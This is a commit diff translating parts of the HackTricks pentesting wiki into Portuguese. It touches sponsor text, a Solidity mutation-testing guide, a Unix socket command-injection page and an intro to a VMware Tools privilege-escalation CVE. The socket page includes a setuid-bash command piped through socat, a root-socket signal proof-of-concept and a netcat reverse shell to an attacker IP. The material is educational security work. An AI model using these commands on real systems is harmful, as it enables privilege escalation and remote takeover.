Translated ['', 'src/network-services-pentesting/pentesting-web/vmware-e

2025-10-10 18:36:50 +00:00 · 2025-10-01 12:04:40 +00:00 · 2025-10-01 12:04:40 +00:00 · c052719ce4
commit c052719ce4
parent 9361b37fbb
13 changed files with 782 additions and 691 deletions
--- a/src/README.md
+++ b/src/README.md
@ -2,9 +2,9 @@
 <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
-_Logotipos e motion design do Hacktricks por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Logos e motion design do HackTricks por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
-### Executar o HackTricks localmente
+### Executar HackTricks localmente
 ```bash
 # Download latest version of hacktricks
 git clone https://github.com/HackTricks-wiki/hacktricks
@ -39,11 +39,11 @@ Sua cópia local do HackTricks estará **disponível em [http://localhost:3337](
 <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
-[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cibersegurança cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, Red teams e treinamento.
+[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cybersecurity cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cybersecurity** como pentesting, Red teams e treinamento.
 Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
-**STM Cyber** também apoia projetos open source de cibersegurança como HackTricks :)
+**STM Cyber** também apoia projetos de segurança open source como o HackTricks :)
 ---
@ -51,7 +51,7 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
 <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
-[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança de todas as disciplinas.
+[**RootedCON**](https://www.rootedcon.com) é o evento de cybersecurity mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cybersecurity de todas as disciplinas.
 {{#ref}}
 https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
 <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
-**Intigriti** é a **plataforma #1 da Europa** para ethical hacking e bug bounty.
+**Intigriti** é a **plataforma #1 da Europa** de ethical hacking e bug bounty.
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar bounties de até **$100,000**!
+**Bug bounty tip**: **inscreva-se** na **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje, e comece a ganhar recompensas de até **$100,000**!
 {{#ref}}
 https://go.intigriti.com/hacktricks
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
 <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar workflows** facilmente, impulsionados pelas ferramentas comunitárias mais **avançadas** do mundo.
-Obtenha Acesso Hoje:
+Obtenha acesso hoje:
 {{#ref}}
 https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
 <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
-Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bug bounty!
+Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
- **Hacking Insights:** Envolva-se com conteúdo que explora a emoção e os desafios do hacking
+- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
- **Real-Time Hack News:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
+- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
- **Latest Announcements:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma
+- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
-**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
+**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 ---
@ -108,7 +108,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
 **Obtenha a perspectiva de um hacker sobre suas web apps, rede e cloud**
-**Encontre e reporte vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas customizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitam escalar privilégios e utilizar exploits automatizados para coletar evidências essenciais, transformando seu trabalho em relatórios persuasivos.
+**Encontre e reporte vulnerabilidades críticas e exploráveis com impacto real no negócio.** Use nossas mais de 20 ferramentas customizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitam escalar privilégios, e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho em relatórios persuasivos.
 {{#ref}}
 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,13 +120,13 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
 <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
-**SerpApi** oferece APIs em tempo real rápidas e fáceis para **acessar resultados de motores de busca**. Eles fazem scraping dos motores de busca, cuidam de proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.
+**SerpApi** oferece APIs rápidas e fáceis em tempo real para **acessar resultados de motores de busca**. Eles fazem scraping dos motores de busca, gerenciam proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.
-Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para raspar diferentes motores de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\
+Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para scraping de diferentes motores de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\
-Ao contrário de outros provedores, **SerpApi não se limita a raspar resultados orgânicos**. As respostas da SerpApi incluem consistentemente todos os anúncios, imagens e vídeos inline, knowledge graphs e outros elementos e recursos presentes nos resultados de busca.
+Ao contrário de outros provedores, **SerpApi não apenas faz scraping de resultados orgânicos**. As respostas da SerpApi consistentemente incluem todos os anúncios, imagens e vídeos inline, knowledge graphs e outros elementos e features presentes nos resultados de busca.
-Clientes atuais da SerpApi incluem **Apple, Shopify, and GrubHub**.\
+Clientes atuais da SerpApi incluem **Apple, Shopify e GrubHub**.\
-Para mais informações, confira o [**blog**](https://serpapi.com/blog/)**,** ou experimente um exemplo no [**playground**](https://serpapi.com/playground)**.**\
+Para mais informações confira o blog deles [**aqui**](https://serpapi.com/blog/)**,** ou experimente um exemplo no [**playground**](https://serpapi.com/playground)**.**\
 Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sign_up)**.**
 ---
@ -135,7 +135,7 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig
 <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
-Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, penetration testing e engenharia reversa para proteger aplicações e dispositivos móveis. **Domine a segurança iOS e Android** através de nossos cursos on-demand e **obtenha certificação**:
+Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, penetration testing e reverse engineering para proteger aplicações e dispositivos móveis. **Domine a segurança iOS e Android** através de nossos cursos on-demand e **obtenha certificação**:
 {{#ref}}
 https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
 <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
-[**WebSec**](https://websec.net) é uma empresa profissional de cibersegurança com sede em **Amsterdam** que ajuda a **proteger** empresas **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo serviços de **offensive-security** com uma abordagem **moderna**.
+[**WebSec**](https://websec.net) é uma empresa profissional de cybersecurity com sede em **Amsterdam** que ajuda a **proteger** empresas **ao redor do mundo** contra as mais recentes ameaças de cybersecurity, oferecendo **offensive-security services** com uma abordagem **moderna**.
-WebSec é uma empresa internacional de segurança com escritórios em Amsterdam e Wyoming. Eles oferecem **serviços de segurança all-in-one**, o que significa que fazem de tudo; Pentesting, Security Audits, Awareness Trainings, Campanhas de Phishing, Code Review, Exploit Development, Security Experts Outsourcing e muito mais.
+A WebSec é uma empresa internacional de segurança com escritórios em Amsterdam e Wyoming. Eles oferecem **serviços de segurança all-in-one**, o que significa que fazem tudo; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing e muito mais.
-Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, conforme consta em seu site: "**If we can't hack it, You don't pay it!**". Para mais informações, veja o [**website**](https://websec.net/en/) e o [**blog**](https://websec.net/blog/)!
+Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que eles **garantem os melhores resultados de qualidade**, conforme afirmam no site deles: "**If we can't hack it, You don't pay it!**". Para mais informações dê uma olhada no [**website**](https://websec.net/en/) e no [**blog**](https://websec.net/blog/)!
-Além do acima, a WebSec também é uma **apoiante comprometida do HackTricks.**
+Além do acima, a WebSec também é uma **apoiadora comprometida do HackTricks.**
 {{#ref}}
 https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
 <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) é um mecanismo de busca de data breach (leak). \
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) é um data breach (leak) search engine. \
-Oferecemos pesquisa por strings aleatórias (como google) sobre todos os tipos de data leaks, grandes e pequenos — não apenas os grandes — sobre dados de múltiplas fontes. \
+Nós fornecemos busca por strings aleatórias (como o google) sobre todos os tipos de vazamentos de dados grandes e pequenos --não apenas os grandes-- sobre dados de múltiplas fontes. \
-Pesquisa por pessoas, pesquisa por AI, pesquisa por organização, acesso API (OpenAPI), integração theHarvester, todas as features que um pentester precisa.\
+Pesquisa por pessoas, pesquisa por AI, busca por organização, API (OpenAPI) access, integração com theHarvester, todas as features que um pentester precisa.\
-**HackTricks continua sendo uma ótima plataforma de aprendizado para todos nós e temos orgulho em patrociná-la!**
+**HackTricks continua sendo uma ótima plataforma de aprendizado para todos nós e temos orgulho de patrociná-la!**
 {{#ref}}
 https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -182,11 +182,11 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
 **Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desenvolve e entrega treinamentos de cibersegurança eficazes, construídos e liderados por especialistas da indústria. Seus programas vão além da teoria para equipar equipes com entendimento profundo e habilidades acionáveis, usando ambientes personalizados que refletem ameaças do mundo real. Para consultas sobre treinamentos customizados, entre em contato [**aqui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desenvolve e entrega treinamentos de cybersecurity eficazes, construídos e liderados por especialistas da indústria. Seus programas vão além da teoria para equipar equipes com profundo entendimento e habilidades acionáveis, usando ambientes customizados que refletem ameaças do mundo real. Para consultas sobre treinamentos personalizados, entre em contato [**aqui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
-**O que diferencia os treinamentos deles:**
+**O que diferencia o treinamento deles:**
 * Conteúdo e labs customizados
-* Suportado por ferramentas e plataformas de alto nível
+* Apoiado por ferramentas e plataformas de alto nível
 * Projetado e ensinado por praticantes
 {{#ref}}
@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
 <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
-Last Tower Solutions fornece serviços especializados de cibersegurança para instituições de **Educação** e **FinTech**, com foco em **penetration testing, cloud security assessments**, e **preparação para conformidade** (SOC 2, PCI-DSS, NIST). Nossa equipe inclui profissionais certificados **OSCP and CISSP**, trazendo profundo conhecimento técnico e visão baseada em padrões do setor para cada engagement.
+Last Tower Solutions oferece serviços especializados de cybersecurity para instituições de **Education** e **FinTech**, com foco em **penetration testing, cloud security assessments**, e **compliance readiness** (SOC 2, PCI-DSS, NIST). Nossa equipe inclui profissionais certificados **OSCP e CISSP**, trazendo profunda expertise técnica e visão baseada em padrões da indústria para cada engajamento.
-Vamos além de scans automatizados com **testes manuais, orientados por inteligência**, adaptados a ambientes de alto risco. Desde proteger registros estudantis até proteger transações financeiras, ajudamos organizações a defender o que mais importa.
+Nós vamos além de scans automatizados com **testes manuais orientados por inteligência** adaptados a ambientes de alto risco. Desde proteger registros estudantis até proteger transações financeiras, ajudamos organizações a defender o que mais importa.
 _“A quality defense requires knowing the offense, we provide security through understanding.”_
-Mantenha-se informado e atualizado com as últimas novidades em cibersegurança visitando nosso [**blog**](https://www.lasttowersolutions.com/blog).
+Mantenha-se informado com o que há de mais recente em cybersecurity visitando o [**blog**](https://www.lasttowersolutions.com/blog).
 {{#ref}}
 https://www.lasttowersolutions.com/
@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
 ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
+<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
-K8Studio IDE capacita DevOps, DevSecOps e desenvolvedores a gerenciar, monitorar e proteger clusters Kubernetes de forma eficiente. Aproveite nossos insights impulsionados por AI, framework de segurança avançado e a intuitiva CloudMaps GUI para visualizar seus clusters, entender seu estado e agir com confiança.
+K8Studio IDE capacita DevOps, DevSecOps e desenvolvedores a gerenciar, monitorar e proteger clusters Kubernetes de forma eficiente. Aproveite nossos insights movidos a AI, framework avançado de segurança e a GUI CloudMaps intuitiva para visualizar seus clusters, entender seu estado e agir com confiança.
-Além disso, o K8Studio é **compatível com todas as principais distribuições de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift e mais).
+Além disso, o K8Studio é **compatível com todas as principais distribuições de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
 {{#ref}}
 https://k8studio.io/
@ -228,7 +228,7 @@ https://k8studio.io/
 ---
-## Licença & Disclaimer
+## License & Disclaimer
 Confira em:
@ -236,7 +236,7 @@ Confira em:
 welcome/hacktricks-values-and-faq.md
 {{#endref}}
-## Estatísticas do Github
+## Github Stats
 ![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -950,4 +950,4 @@
 - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
+- [Cookies Policy](todo/cookies-policy.md)
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@ -1,14 +1,14 @@
-# Mutation Testing para Solidity com Slither (slither-mutate)
+# Teste de Mutação para Solidity com Slither (slither-mutate)
 {{#include ../../banners/hacktricks-training.md}}
-Mutation testing "tests your tests" ao introduzir sistematicamente pequenas mudanças (mutantes) no seu código Solidity e reexecutar sua suíte de testes. Se um teste falhar, o mutante é morto. Se os testes ainda passam, o mutante sobrevive, revelando um ponto cego na sua suíte de testes que a cobertura de linha/ramificação não consegue detectar.
+O teste de mutação "testa seus testes" ao introduzir sistematicamente pequenas mudanças (mutantes) no seu código Solidity e reexecutar sua suíte de testes. Se um teste falhar, o mutante é eliminado. Se os testes ainda passarem, o mutante sobrevive, revelando um ponto cego na sua suíte de testes que a cobertura de linha/ramo não consegue detectar.
-Ideia-chave: a cobertura mostra que o código foi executado; mutation testing mostra se o comportamento está realmente sendo verificado.
+Ideia-chave: a cobertura mostra que o código foi executado; o teste de mutação mostra se o comportamento foi realmente verificado.
 ## Por que a cobertura pode enganar
-Considere esta verificação simples de limite:
+Considere esta simples verificação de limite:
 ```solidity
 function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
 if (deposit >= 1 ether) {
@ -18,24 +18,24 @@ return false;
 }
 }
 ```
-Testes unitários que verificam apenas um valor abaixo e um valor acima do limite podem alcançar 100% de cobertura de linhas/branches enquanto falham em afirmar a igualdade (==). Uma refatoração para `deposit >= 2 ether` ainda passaria nesses testes, quebrando silenciosamente a lógica do protocolo.
+Testes unitários que verificam apenas um valor abaixo e um valor acima do limite podem alcançar 100% de cobertura de linhas/branches enquanto deixam de afirmar a condição de igualdade (==). Uma refatoração para `deposit >= 2 ether` ainda passaria esses testes, quebrando silenciosamente a lógica do protocolo.
-O teste de mutação expõe essa falha ao mutar a condição e verificar se seus testes falham.
+O teste de mutação expõe essa lacuna ao mutar a condição e verificar que seus testes falham.
-## Operadores comuns de mutação em Solidity
+## Operadores de mutação comuns em Solidity
 O mecanismo de mutação do Slither aplica muitas pequenas alterações que mudam a semântica, tais como:
 - Substituição de operador: `+` ↔ `-`, `*` ↔ `/`, etc.
 - Substituição de atribuição: `+=` → `=`, `-=` → `=`
 - Substituição de constantes: não-zero → `0`, `true` ↔ `false`
- Negação/substituição de condição dentro de `if`/laços
+- Negação/substituição de condição dentro de `if`/loops
- Comentar linhas inteiras (CR: Comment Replacement)
+- Comentar linhas inteiras (CR: Substituição de Comentário)
 - Substituir uma linha por `revert()`
- Trocas de tipo de dado: por exemplo, `int128` → `int64`
+- Troca de tipos de dados: por exemplo, `int128` → `int64`
-Objetivo: Eliminar 100% dos mutantes gerados, ou justificar os sobreviventes com uma justificativa clara.
+Objetivo: Eliminar 100% dos mutantes gerados, ou justificar os sobreviventes com justificativa clara.
-## Executando testes de mutação com slither-mutate
+## Executando teste de mutação com slither-mutate
 Requisitos: Slither v0.10.2+.
@ -44,7 +44,7 @@ Requisitos: Slither v0.10.2+.
 slither-mutate --help
 slither-mutate --list-mutators
 ```
- Foundry exemplo (capturar resultados e manter um log completo):
+- Exemplo com Foundry (capturar os resultados e manter um log completo):
 ```bash
 slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
 ```
@ -54,58 +54,58 @@ Artefatos e relatórios são armazenados em `./mutation_campaign` por padrão. M
 ### Entendendo a saída
-As linhas do relatório têm o seguinte formato:
+As linhas do relatório se parecem com:
 ```text
 INFO:Slither-Mutate:Mutating contract ContractName
 INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
 ```
- A tag entre colchetes é o alias do mutator (e.g., `CR` = Comment Replacement).
+- A tag entre colchetes é o apelido do mutador (e.g., `CR` = Comment Replacement).
- `UNCAUGHT` significa que os testes passaram sob o comportamento mutado → falta de asserção.
+- `UNCAUGHT` significa que os testes passaram sob o comportamento mutado → asserção ausente.
-## Reduzindo tempo de execução: priorize mutantes com impacto
+## Reduzindo tempo de execução: priorize mutantes de impacto
-Campanhas de mutação podem levar horas ou dias. Dicas para reduzir custo:
+Campanhas de mutation testing podem levar horas ou dias. Dicas para reduzir custo:
 - Escopo: comece apenas com contratos/diretórios críticos e depois expanda.
- Priorize mutators: se um mutante de alta prioridade em uma linha sobreviver (e.g., a linha inteira comentada), você pode pular variantes de menor prioridade para essa linha.
+- Priorize mutators: se um mutante de alta prioridade numa linha sobrevive (ex.: toda a linha comentada), você pode pular variantes de menor prioridade daquela linha.
- Paralelize os testes se seu runner permitir; faça cache de dependências/builds.
+- Paralelize testes se seu runner permitir; faça cache de dependências/builds.
- Fail-fast: pare cedo quando uma mudança claramente demonstra uma lacuna de asserção.
+- Fail-fast: pare cedo quando uma mudança demonstra claramente uma lacuna de asserção.
 ## Fluxo de triagem para mutantes sobreviventes
 1) Inspecione a linha mutada e o comportamento.
- Reproduza localmente aplicando a linha mutada e executando um teste focado.
+- Reproduza localmente aplicando a linha mutada e rodando um teste focado.
-2) Fortaleça os testes para asserir o estado, não apenas valores de retorno.
+2) Fortaleça os testes para verificar estado, não apenas valores de retorno.
- Adicione checagens de igualdade/limite (e.g., testar threshold `==`).
+- Adicione checagens de igualdade/limite (por exemplo, testar threshold `==`).
- Asserte pós-condições: saldos, fornecimento total, efeitos de autorização e eventos emitidos.
+- Asserte pós-condições: saldos, total supply, efeitos de autorização e eventos emitidos.
 3) Substitua mocks excessivamente permissivos por comportamento realista.
- Assegure que os mocks imponham transferências, caminhos de falha e emissões de eventos que ocorrem on-chain.
+- Garanta que mocks forcem transfers, caminhos de falha e emissão de eventos que ocorrem on-chain.
 4) Adicione invariantes para fuzz tests.
- Ex.: conservação de valor, saldos não-negativos, invariantes de autorização, supply monotônico quando aplicável.
+- Ex.: conservação de valor, saldos não-negativos, invariantes de autorização, monotonicidade do supply quando aplicável.
-5) Reexecute slither-mutate até que os sobreviventes sejam eliminados ou justificados explicitamente.
+5) Re-run slither-mutate até que os sobreviventes sejam eliminados ou justificados explicitamente.
-## Estudo de caso: revelando asserções de estado ausentes (protocolo Arkis)
+## Case study: revelando asserções de estado faltantes (Arkis protocol)
-Uma campanha de mutação durante uma auditoria do protocolo Arkis DeFi revelou sobreviventes como:
+Uma campanha de mutation durante uma auditoria do Arkis DeFi protocol revelou sobreviventes como:
 ```text
 INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
 ```
-Comentar a atribuição não quebrou os testes, provando que faltavam asserções de pós-estado. Causa raiz: o código confiava em um `_cmd.value` controlado pelo usuário em vez de validar transferências reais de token. Um atacante poderia desincronizar as transferências esperadas e as reais para drenar fundos. Resultado: risco de alta gravidade para a solvência do protocolo.
+Comentando a atribuição não quebrou os testes, comprovando a falta de asserções de pós-estado. Causa raiz: o código confiava em um `_cmd.value` controlado pelo usuário em vez de validar as transferências reais de token. Um atacante poderia dessincronizar as transferências esperadas das reais para drenar fundos. Resultado: risco de alta severidade para a solvência do protocolo.
-Orientação: Considere mutantes sobreviventes que afetem transferências de valor, contabilidade ou controle de acesso como de alto risco até serem eliminados.
+Orientação: Trate mutantes sobreviventes que afetam transferências de valor, contabilidade ou controle de acesso como alto risco até serem eliminados.
-## Lista de verificação prática
+## Checklist prático
 - Execute uma campanha direcionada:
 - `slither-mutate ./src/contracts --test-cmd="forge test"`
- Faça triagem dos survivors e escreva testes/invariantes que falhariam sob o comportamento mutado.
+- Faça a triagem dos mutantes sobreviventes e escreva testes/invariantes que falhem sob o comportamento mutado.
- Verifique saldos, fornecimento (supply), autorizações e eventos.
+- Asserte saldos, supply, autorizações, e eventos.
 - Adicione testes de borda (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
 - Substitua mocks irreais; simule modos de falha.
- Itere até que todos os mutantes sejam eliminados ou justificados com comentários e rationale.
+- Itere até que todos os mutantes sejam eliminados ou justificados com comentários e justificativa.
 ## Referências
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@ -2,9 +2,9 @@
 {{#include ../../banners/hacktricks-training.md}}
-## Socket binding example with Python
+## Exemplo de socket binding com Python
-No exemplo a seguir, um **unix socket é criado** (`/tmp/socket_test.s`) e tudo o que for **recebido** será **executado** por `os.system`. Sei que você não vai encontrar isso em ambiente real, mas o objetivo deste exemplo é mostrar como um código que usa unix sockets se parece, e como lidar com a entrada no pior caso possível.
+No exemplo a seguir um **unix socket é criado** (`/tmp/socket_test.s`) e tudo que for **recebido** será **executado** por `os.system`. Sei que você não vai encontrar isso na natureza, mas o objetivo deste exemplo é ver como um código que usa unix sockets se parece, e como gerenciar a entrada no pior caso possível.
 ```python:s.py
 import socket
 import os, os.path
@ -37,17 +37,17 @@ unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python
 ```python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
-## Estudo de caso: elevação acionada por sinal em socket UNIX de propriedade do root (LG webOS)
+## Estudo de caso: escalada acionada por signal em UNIX socket de propriedade do root (LG webOS)
-Alguns daemons privilegiados expõem um socket UNIX de propriedade do root que aceita entrada não confiável e associa ações privilegiadas a thread-IDs e sinais. Se o protocolo permitir que um cliente não privilegiado influencie qual thread nativa é alvo, você pode conseguir acionar um caminho de código privilegiado e escalar privilégios.
+Alguns daemons privilegiados expõem um UNIX socket de propriedade do root que aceita entrada não confiável e vincula ações privilegiadas a thread-IDs e signals. Se o protocolo permitir que um cliente não privilegiado influencie qual native thread é alvo, você pode conseguir acionar um caminho de código privilegiado e escalar.
-Padrão observado:
+Observed pattern:
- Conectar-se a um socket de propriedade do root (por exemplo, /tmp/remotelogger).
+- Connect to a root-owned socket (e.g., /tmp/remotelogger).
- Criar uma thread e obter seu id nativo de thread (TID).
+- Create a thread and obtain its native thread id (TID).
- Enviar o TID (empacotado) mais padding como uma requisição; receber um reconhecimento.
+- Send the TID (packed) plus padding as a request; receive an acknowledgement.
- Enviar um sinal específico para esse TID para acionar o comportamento privilegiado.
+- Deliver a specific signal to that TID to trigger the privileged behaviour.
-Esboço mínimo de PoC:
+Minimal PoC sketch:
 ```python
 import socket, struct, os, threading, time
 # Spawn a thread so we have a TID we can signal
@ -59,14 +59,14 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
 s.recv(4)  # sync
 os.kill(tid, 4)  # deliver SIGILL (example from the case)
 ```
-Para transformar isto em uma root shell, pode-se usar um padrão simples de named-pipe + nc:
+Para transformar isto em um root shell, pode ser usado um padrão simples de named-pipe + nc:
 ```bash
 rm -f /tmp/f; mkfifo /tmp/f
 cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
 ```
 Notas:
- Esta classe de bugs surge ao confiar em valores derivados do estado do cliente sem privilégios (TIDs) e vinculá-los a signal handlers ou lógica privilegiada.
+- Essa classe de bugs surge de confiar em valores derivados do estado de cliente não privilegiado (TIDs) e vinculá-los a manipuladores de sinal privilegiados ou à lógica privilegiada.
- Mitigue exigindo credenciais no socket, validando formatos de mensagens e desacoplando operações privilegiadas de thread identifiers fornecidos externamente.
+- Endureça aplicando verificação de credenciais no socket, validando formatos de mensagens e desacoplando operações privilegiadas de identificadores de thread fornecidos externamente.
 ## Referências
--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@ -2,22 +2,22 @@
 {{#include ../../banners/hacktricks-training.md}}
-Esta técnica explora pipelines de descoberta de serviços dirigidas por regex que analisam as linhas de comando dos processos em execução para inferir versões dos serviços e então executar um binário candidato com uma flag de "version". Quando padrões permissivos aceitam caminhos não confiáveis controlados pelo atacante (por exemplo, /tmp/httpd), o coletor privilegiado executa um binário arbitrário de um local não confiável, resultando em elevação de privilégio local. A NVISO documentou isso na Service Discovery do VMware Tools/Aria Operations como CVE-2025-41244.
+Esta técnica abusa de pipelines de descoberta de serviço impulsionadas por regex que analisam as linhas de comando de processos em execução para inferir versões de serviço e então executam um binário candidato com uma flag "version". Quando padrões permissivos aceitam caminhos não confiáveis controlados pelo atacante (ex.: /tmp/httpd), o coletor privilegiado executa um binário arbitrário a partir de uma localização não confiável, resultando em elevação de privilégio local. NVISO documentou isso no VMware Tools/Aria Operations Service Discovery como CVE-2025-41244.
 - Impacto: Elevação de privilégio local para root (ou para a conta de descoberta privilegiada)
- Causa raiz: Untrusted Search Path (CWE-426) + correspondência regex permissiva das linhas de comando dos processos
+- Causa raiz: Untrusted Search Path (CWE-426) + correspondência permissiva por regex das linhas de comando dos processos
- Afetado: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+- Afetados: open-vm-tools/VMware Tools no Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
-## Como funciona a descoberta de serviços do VMware (visão geral)
+## How VMware service discovery works (high level)
- Credential-based (legado): Aria executa scripts de descoberta dentro do guest via VMware Tools usando credenciais privilegiadas configuradas.
